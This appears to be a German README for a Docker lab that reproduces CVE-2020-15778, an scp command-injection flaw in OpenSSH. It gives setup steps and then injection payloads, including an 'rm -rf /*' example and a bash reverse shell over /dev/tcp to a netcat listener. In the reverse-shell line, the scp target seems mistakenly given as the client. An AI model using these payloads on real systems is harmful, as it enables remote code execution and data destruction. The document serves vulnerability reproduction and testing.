
Reproduziert CVE-2020-15778 SCP command injection exploit mit Docker-basiertem Client-Server-Setup zum Testen von remote code execution und reverse shell payloads.
Dieses Repository reproduziert CVE-2020-15778.
cd client
docker build -t client-cve .
cd server
docker build -t server-cve .
docker run -d -P --name scp-server server-cve
Rufen Sie die interne IP-Adresse des SCP-Servers ab mit
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server
docker run --name scp-client -i -t client-cve
Führen Sie im Client-Terminal Folgendes aus:
scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'
Das Passwort ist "PASSWORD".
Hier sind einige Beispiele für diesen Exploit.
scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'
Hören Sie auf einem Port auf dem Client-Rechner.
nc -lvvp 8080
Verwenden Sie SCP, um den Server zu zwingen, die interaktive Bash in den Client-Rechner zu übertragen.
scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'
Die IP-Adresse des Clients kann abgerufen werden mit
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client